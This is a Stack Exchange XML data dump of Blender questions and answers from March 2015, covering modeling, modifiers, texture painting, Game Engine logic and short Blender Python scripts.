  <row Id="27595" PostTypeId="2" ParentId="1053" CreationDate="2015-03-24T18:04:08.240" Score="5" Body="&lt;p&gt;Another technique for animating time is to use a Speed Control strip in the Video Sequence editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever you want to use the VSE it is &lt;strong&gt;highly&lt;/strong&gt; recommended that you create a separate scene that is only the VSE and has no 3D objects in it.  While it is not necessary, keeping VSE work separate from 3D work precludes a wide variety of very confusing mistakes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a VSE strip referencing the target scene.  Then add an Effect Strip / Speed.  Then go into the properties of the Speed strip and uncheck &lt;code&gt;Stretch to input strip length&lt;/code&gt; and uncheck &lt;code&gt;Use as speed&lt;/code&gt;.  Now you have a &lt;code&gt;Frame number&lt;/code&gt; property which you can keyframe.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tzKV2.png&quot; alt=&quot;speed control&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of my favorite tricks is to loop the source track by creating a linear animation of the frame number and using the fcurves editor to add a &lt;code&gt;Cycles&lt;/code&gt; modifier to turn it into a sawtooth.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Note&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Frame numbers with a fractional component only works in 2.76, there was a bug/limitation in older Blender versions, subframe rendering in the sequencer didn't work.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="-1" LastEditDate="2015-08-28T17:10:47.740" LastActivityDate="2015-08-28T17:10:47.740" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27596" PostTypeId="1" AcceptedAnswerId="27601" CreationDate="2015-03-24T18:34:00.503" Score="2" ViewCount="590" Body="&lt;p&gt;I used Cntrl A along the x axis to widen the feet and attempt to make them look flat.  Yet Cnrtl A (x) widened them along a diagonal.  Can anyone tell me what I did wrong in creating flat feet?  Thank you for any help you can offer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YoJU6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13271" LastActivityDate="2015-03-24T19:39:25.073" Title="How can i get my characters feet to lie flat?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27597" PostTypeId="2" ParentId="15923" CreationDate="2015-03-24T19:00:18.270" Score="4" Body="&lt;p&gt;In object mode, select one of the cylinders and press &lt;kbd&gt;U&lt;/kbd&gt; to bring up the &lt;em&gt;Make Single User&lt;/em&gt; menu.  Choose the &lt;em&gt;Object Animation&lt;/em&gt; option. Now they will each have their own Action datablock you can animate.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="2217" LastEditDate="2015-03-24T22:49:03.227" LastActivityDate="2015-03-24T22:49:03.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27598" PostTypeId="1" CreationDate="2015-03-24T19:02:39.910" Score="3" ViewCount="1537" Body="&lt;p&gt;In addition to the Mix Shader node, there is also the Add Shader node. Now if I have two shaders that are the same with small differences, they both get added, and if there are similar areas they become twice as bright. &#xA;I want to overlay one shader with another to the effect that the differences of one shader will be added, but the similarities aren't (so that similar areas don't get brighter). Is this possible, if so, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uGdpD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uGdpD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5634" LastEditorUserId="3127" LastEditDate="2015-04-11T13:34:09.533" LastActivityDate="2015-04-11T13:34:09.533" Title="Overlay a Shader" Tags="&lt;cycles-render-engine&gt;&lt;image&gt;&lt;shaders&gt;" AnswerCount="0" CommentCount="11" ClosedDate="2015-04-11T16:07:27.297" ContentLicense="CC BY-SA 3.0" />
  <row Id="27599" PostTypeId="2" ParentId="27570" CreationDate="2015-03-24T19:04:01.530" Score="1" Body="&lt;p&gt;number_of_ticks = (animation_length/animation_fps)*game_fps &lt;br/&gt;&#xA;in your case (100/24)*60 = 250&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can set the animation frame rate in the render tab :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MjnT0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also you can set the game frame rate in the world tab :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8F9LS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-24T19:04:01.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27600" PostTypeId="1" CreationDate="2015-03-24T19:10:22.237" Score="0" ViewCount="429" Body="&lt;p&gt;I'm new to python code I usually use logic bricks in blender code. I wanted to use python more in my games and I need help in a bit of code. I want it to say that once I collide with an object it will come up with text saying Game Over or Wrong way, etc. Does anyone know how to do this? &lt;/p&gt;&#xA;" OwnerUserId="13360" LastActivityDate="2015-03-24T21:36:23.517" Title="Need Help with Python in Blender Game Engine" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27601" PostTypeId="2" ParentId="27596" CreationDate="2015-03-24T19:15:30.643" Score="3" Body="&lt;p&gt;Select the group of vertices that represent the shoe sole and press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;--&gt;&lt;em&gt;Cursor to Selected&lt;/em&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CZ4Er.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scale it along the Z axis (&lt;kbd&gt;S&lt;/kbd&gt;,&lt;kbd&gt;Z&lt;/kbd&gt;) and press 0.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Wyrno.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a loopcut to sharpen the edge. Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;, confirm the cut with &lt;kbd&gt;Left Mouse Click&lt;/kbd&gt; and place the loopcut at the bottom of the sole.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Xu6Op.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the result.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PTWxo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-03-24T19:19:01.800" LastActivityDate="2015-03-24T19:19:01.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27602" PostTypeId="1" CreationDate="2015-03-24T19:16:15.247" Score="0" ViewCount="207" Body="&lt;p&gt;since i switched from Windows to LinuxMint 17.1 Cinnamon, i have a problem regarding rendering with my NVIDIA 780 GTX (3GB VRAM).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this:&#xA;&lt;em&gt;CUDA error: Out of memory in cuArrayCreate(&amp;amp;handle, &amp;amp;desc)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interesting Fact: it already stops preparing the Render at ~800MB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;nvidia-smi: Memory Usage 2115MiB / 3071MiB&lt;/em&gt; &lt;strong&gt;BEFORE&lt;/strong&gt; i even hit &quot;Render&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Windows, i was able to render the whole scene without any problems.&#xA;Looks like Blender is messing um my VRAM or using it wrong, any Suggestions?&#xA;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="9770" LastActivityDate="2015-03-24T19:16:15.247" Title="GPU Memory Consumption before Render - Linux Mint 17.1" Tags="&lt;cycles-render-engine&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27603" PostTypeId="1" CreationDate="2015-03-24T19:23:33.383" Score="2" ViewCount="270" Body="&lt;p&gt;I'd like to know how I can mask (if possible) my whole image in texture paint mode, so at the end, I don't get unnecessary paint and colors in my diffuse texture.&#xA;I wanted to put the following image as a mask to my diffuse texture, but seems like I can't find the right place to do it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iKK7e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13359" LastActivityDate="2017-12-06T19:56:08.527" Title="Masking a whole image in texture mode" Tags="&lt;texture-painting&gt;&lt;masking&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27604" PostTypeId="1" CreationDate="2015-03-24T19:35:38.530" Score="1" ViewCount="40" Body="&lt;p&gt;I am very new at blender and I have created an object (A tree like sprite) with 3 animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those animations are spin, jump, and flip&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All animations run from 80 frames (from 0 to 80)&#xA;All animations have different key frames. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can tell from their names they all do different things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I rendered and played my individual animations, they worked fine. &#xA;Then I pressed the 'F' button to save those animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if this relates but I exported my project to a fbx file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, I moved the .blend and .blend1 files to somewhere else. &#xA;Afterwards, I decided I wanted to move those files back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I moved the file back, I could no longer get all three animations. &#xA;The animations turned out all to be the spin animation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't find the error&lt;/p&gt;&#xA;" OwnerUserId="13241" LastActivityDate="2015-03-24T19:35:38.530" Title="blender overwrote my animation after moving .blend file" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27608" PostTypeId="1" AcceptedAnswerId="27612" CreationDate="2015-03-24T19:59:18.390" Score="5" ViewCount="2216" Body="&lt;p&gt;I'm modelling a light saber, and I want to curve the grip in the middle around the base.  What is the best method of doing this?  I've tried the screw modifier, and the simple deform modifier, but they haven't achieved the desired result.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/e0soD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e0soD.jpg&quot; alt=&quot;screen shot of blender showing the light saber and grip object&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="2217" LastEditDate="2015-03-24T20:45:21.467" LastActivityDate="2020-10-21T14:51:33.853" Title="Curving an object" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27609" PostTypeId="1" AcceptedAnswerId="27610" CreationDate="2015-03-24T20:11:49.267" Score="1" ViewCount="229" Body="&lt;p&gt;No joke, I was in the middle of creating an example for another problem I was having when I stumbled onto some weird behavior. Can someone explain why this is doing this? It's in cycles by the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I made a 1920x1080 texture in gimp, white background, with the word test written in blue.&#xA;&lt;a href=&quot;https://imgur.com/4B0gApT&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/4B0gApT.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I applied this to a plane (which was UV unwrapped).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/tXB7j7x&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/tXB7j7x.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then went to the blackground tab, clicked on use nodes, and turned the brightness up (1, 1, 1 on RGB) When I rendered it everything was white, I couldn't see the boundaries of the plane. When I turned the color down (so now it's some shade of grey) the plane simply changed color.&#xA;&lt;a href=&quot;https://imgur.com/6In6vSS&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/6In6vSS.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&#xA;That little circle is roughly where the plane is (plane is a bit bigger in reality), and, even though you can't see it, the background is also in view. The arrow is pointing to the grey background picture. My texture background is solid white, but now it's grey.&lt;/p&gt;&#xA;" OwnerUserId="5634" LastActivityDate="2015-03-24T20:23:40.437" Title="Diffuse color inheriting from background" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;nodes&gt;&lt;light&gt;&lt;mathematics&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27610" PostTypeId="2" ParentId="27609" CreationDate="2015-03-24T20:23:40.437" Score="0" Body="&lt;p&gt;The apparent brightness of the plane depends on the amount of light reflecting off of it and into the camera. If there isn't as much light, then it'll appear darker.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-03-24T20:23:40.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27611" PostTypeId="1" CreationDate="2015-03-24T20:32:36.650" Score="2" ViewCount="442" Body="&lt;p&gt;I've seen a handful of tutorials similar to what I am trying to do.  Some are just using cell fracture but don't export it for use in After Effects Element 3D plugin.  Some use the basic fracture tool but it doesn't give me the results I am looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've done so far is add text, rotate and extrude.  Then I convert the text to a mesh and apply cell fracture to it.  I then export it with write normals and triangulate faces both checked in addition to the default settings.  At this point the model in Blender looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dFwGo.png&quot; alt=&quot;Object as it appears in Blender&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But after importing in After Effects and loading into Element 3D, it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G30Xb.png&quot; alt=&quot;Object as it appears in AE Element 3D&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried doing the cell fracture a few different ways such as using own verts, own particles and both but nothing seems to make a difference.  If it helps, I am using Blender 2.71 and After Effects CS5.&lt;/p&gt;&#xA;" OwnerUserId="13362" LastActivityDate="2015-03-24T20:32:36.650" Title="How do I export cell fractured text for Element 3D?" Tags="&lt;export&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27612" PostTypeId="2" ParentId="27608" CreationDate="2015-03-24T20:38:34.620" Score="7" Body="&lt;ol&gt;&#xA;&lt;li&gt;Add a empty at the same location as your grip object via naping the cursor to selected with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; &amp;gt; &lt;em&gt;Cursor to Selected&lt;/em&gt;, and then adding the empty &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &amp;gt; &lt;em&gt;Empty&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/2.90/modeling/modifiers/deform/simple_deform.html#simple-deform-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;Simple Deform Modifier&lt;/a&gt;&lt;/em&gt; to your grip object.&lt;/li&gt;&#xA;&lt;li&gt;Set the simple deform modifier to &lt;em&gt;Bend&lt;/em&gt;, the &lt;em&gt;Deform&lt;/em&gt; to &lt;em&gt;360°&lt;/em&gt;, and the &lt;em&gt;Origin&lt;/em&gt; to the empty you just added.&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/q9dZF.png&quot; alt=&quot;modifiers&quot; /&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If it looks good, great you are done, however if it is bending around the wrong axis, or is too big continue on to step 4.&lt;/p&gt;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Now the empty comes in to play. Rotate the empty -90deg along the X axis. The simple deform modifier bends around the Z axis, so rotating the empty by -90deg will align its local Z axis with the world Y axis. (you also could rotate your mesh in edit mode, but I find the empty more convenient.)&lt;/li&gt;&#xA;&lt;li&gt;Now the grip should be looking something like this. (mine was too big)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8yXMo.png&quot; alt=&quot;too large grip on handle&quot; /&gt;&lt;br /&gt;&#xA;To shrink (or enlarge) the grip's diameter you have many options. You could change the array count (but I'm assuming you do not want to do that), move the mesh in edit mode, or (best of all) move the empty along the global Z axis.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Do note that if you want to move the grip after you have the modifier set up and working at the right size, you will have to move both the grip and the empty. Which would be a good case for &lt;a href=&quot;https://blender.stackexchange.com/a/26109/2217&quot;&gt;parenting&lt;/a&gt;, be sure to have the empty as the &lt;a href=&quot;https://blender.stackexchange.com/a/21050/2217&quot;&gt;active object&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-21T14:51:33.853" LastActivityDate="2020-10-21T14:51:33.853" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27613" PostTypeId="1" CreationDate="2015-03-24T20:48:43.770" Score="0" ViewCount="950" Body="&lt;p&gt;I am still fighting with mirroring. Doesnt matter if I use Ctrl+M or Mirror modifier. My rivets go only in bad way. I mean I want them mirrored nicely along global axis to fit the opposite site. BUT the rivets are mirroring only along local transformations corresponding their base slope face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the screenshots:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZSusy.jpg&quot; alt=&quot;mirroring along X axis&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GDMM1.jpg&quot; alt=&quot;mirroring along Z axis&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From pictures you can see that rivets want to be mirrored in the face direction they were created at. I used Snapping during transform (magnet icon) on the face and I had applied &quot;Align rotation with the snapping target&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other faces it all worked fine, as you can ssee they are mirrored properly. But this last face which is not perpendicular doesn't work for me. What do I wrong? &#xA;Thanks !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must also say, that If I change GLobal transforamtion to local, or gimbal or whatever the result is still the same !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It behaves like it is a bug there?... Please help&#xA;Karel&lt;/p&gt;&#xA;" OwnerUserId="13364" LastActivityDate="2015-03-24T20:48:43.770" Title="How to mirror in global axis?" Tags="&lt;mirror&gt;" AnswerCount="0" CommentCount="10" ClosedDate="2015-03-25T11:17:55.140" ContentLicense="CC BY-SA 3.0" />
  <row Id="27614" PostTypeId="2" ParentId="27600" CreationDate="2015-03-24T20:50:49.237" Score="3" Body="&lt;p&gt;Okay,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll give you an example of what you could do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the collision sensor as you normally would, the way you want it, but named &quot;Collision&quot; and set to true pulse triggering, and connect that to a python controller with your script (eg. &quot;Text.py&quot;). You also need a text object, named &quot;Text&quot;, with a Game Text Property.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Collision Sensor -----&amp;gt; Python Controller&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, inside the script (eg. &quot;Text.py&quot;), type the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic&#xA;&#xA;cont = logic.getCurrentController()&#xA;own = cont.owner&#xA;sce = logic.getCurrentScene()&#xA;&#xA;collision = own.sensors[&quot;Collision&quot;]&#xA;text = sce.objects[&quot;Text&quot;]&#xA;&#xA;if collision.positive:&#xA;    text[&quot;Text&quot;] = &quot;Wrong Way!&quot;&#xA;else:&#xA;    text[&quot;Text&quot;] = &quot;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tell me if you need any more help.&lt;/p&gt;&#xA;" OwnerUserId="5253" LastActivityDate="2015-03-24T20:50:49.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27616" PostTypeId="1" AcceptedAnswerId="27626" CreationDate="2015-03-24T21:16:22.417" Score="0" ViewCount="86" Body="&lt;p&gt;REWRITTEN: Lets just say I have it where my animation plays when I press the space bar. How can I have it where the animation plays from start every time I press the space bar rather than continuing?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="1597" LastEditDate="2015-03-25T00:17:20.453" LastActivityDate="2015-03-25T01:17:39.950" Title="Re-start animation if message is sent again?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27617" PostTypeId="2" ParentId="27600" CreationDate="2015-03-24T21:36:23.517" Score="2" Body="&lt;p&gt;Since you are more comfortable using the logic bricks, and this can easily be done with logic bricks, I will use logic bricks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Collision&lt;/em&gt; sensor is what does it all. I have a &quot;end game plane&quot; with the collision sensor set to only collide with the player's material (you could also use a game property).&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/9zJHu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9zJHu.png&quot; alt=&quot;logic bricks&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;When a collision is detected it adds a overlay scene, where I have the text. It also Suspends the main scene (stopping the game play), the two &lt;em&gt;Filter&lt;/em&gt; actuators just make the screen turn grey scale and blurred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my fully working demo. Arrow keys drive the player (cube). Have a look at the &lt;em&gt;HUD&lt;/em&gt; scene to see the text and camera.&lt;br&gt;&#xA;&lt;strong&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/131/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend File&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-03-24T21:36:23.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27618" PostTypeId="2" ParentId="27582" CreationDate="2015-03-24T22:33:00.753" Score="0" Body="&lt;p&gt;Bmesh module variant, which does not require a mode change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;ob = bpy.context.object&#xA;me = ob.data&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;mat = ob.matrix_world&#xA;&#xA;for edge in bm.edges:&#xA;    if edge.select:&#xA;        print(&quot;Edge {}\n&quot;.format(edge.index))&#xA;        for vert in edge.verts:&#xA;            print(&quot;  Vertex {}:&quot;.format(vert.index))&#xA;            print(&quot;    &quot;, vert.co, &quot;local&quot;)&#xA;            print(&quot;    &quot;, mat * vert.co, &quot;global\n&quot;)&#xA;        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that above code works in edit-mode only, but it's also possible to extend it with support for object mode.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-03-24T22:33:00.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27619" PostTypeId="1" AcceptedAnswerId="27623" CreationDate="2015-03-24T22:43:25.683" Score="1" ViewCount="3434" Body="&lt;p&gt;I need to cut some grooves into a flat surface. I have watched tutorials with cylinders, where they extruded faces inward to create the required effect, but rectangles only have six faces, so extruding one of them would accomplish just as much as simply resizing the object. How do you divide a rectangle's face into a grid of extrude-able squares?&lt;/p&gt;&#xA;" OwnerUserId="13365" LastEditorUserId="2217" LastEditDate="2015-03-24T22:55:00.910" LastActivityDate="2015-03-24T23:29:59.273" Title="How to cut grooves in a rectangle" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;faces&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27620" PostTypeId="1" CreationDate="2015-03-24T22:50:50.803" Score="1" ViewCount="56" Body="&lt;p&gt;so im about eight and a half minutes into this video: &lt;a href=&quot;https://www.youtube.com/watch?v=GTq9sLQOiVs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=GTq9sLQOiVs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and something isnt working properly. i have followed every step but this happens: &lt;img src=&quot;https://i.stack.imgur.com/88gKy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ive refollowed the steps, can anyone give me a fix or something?&lt;/p&gt;&#xA;" OwnerUserId="13366" LastActivityDate="2015-03-24T22:50:50.803" Title="Modeling Planet Help" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-03-25T00:23:02.090" ContentLicense="CC BY-SA 3.0" />
  <row Id="27622" PostTypeId="2" ParentId="27504" CreationDate="2015-03-24T23:05:31.813" Score="2" Body="&lt;p&gt;The issue was with the bone at the start of the chain being set as Connected. This is because the bone chain was made using the Skin modifier on a vertex chain. Normally if you add a bone and then extrude it to make a chain, the first bone is not Connected. Apparently the armatures made by Skin are. The Connected checkbox is greyed out, but still can be unchecked. Since the bone has no Parent, the Connected status was locking it in place.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-03-24T23:05:31.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27623" PostTypeId="2" ParentId="27619" CreationDate="2015-03-24T23:08:16.067" Score="3" Body="&lt;p&gt;Select the face where you want to add the groove. Press &lt;kbd&gt;I&lt;/kbd&gt; to inset a new face. Then scale it with &lt;kbd&gt;S&lt;/kbd&gt; and constrain to a axis (for me it was the X axis), press &lt;kbd&gt;E&lt;/kbd&gt; to extrude the groove.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hvyCr.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if you want the groove running all the way across the side, add two loop cuts with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;. Then push them closer, by scaling same as above. After you have it the size you want, select the two outside faces and &lt;kbd&gt;E&lt;/kbd&gt; extrude them out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/leTcN.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-03-24T23:08:16.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27625" PostTypeId="2" ParentId="27619" CreationDate="2015-03-24T23:29:59.273" Score="1" Body="&lt;p&gt;You can also use a boolean modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create an object that has the shape of the groove you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ylo96.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select your original object and add a boolean modifier on difference mode, on the object select the cut object like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TJzdy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-03-24T23:29:59.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27626" PostTypeId="2" ParentId="27616" CreationDate="2015-03-25T00:55:48.677" Score="1" Body="&lt;p&gt;Disable the continue option on the action actuator and put the script between the sensor and the action actuator :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;when the sensor send a pulse the script will be triggered &lt;/li&gt;&#xA;&lt;li&gt;if there is action being played on layer 0 the script will stop stop it&lt;/li&gt;&#xA;&lt;li&gt;the script passes the pulse to the actuator&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;&#xA;if own.isPlayingAction(0):&#xA;    own.stopAction(0)&#xA;cont.activate(&quot;Action&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-03-25T01:17:39.950" LastActivityDate="2015-03-25T01:17:39.950" CommentCount="19" ContentLicense="CC BY-SA 3.0" />
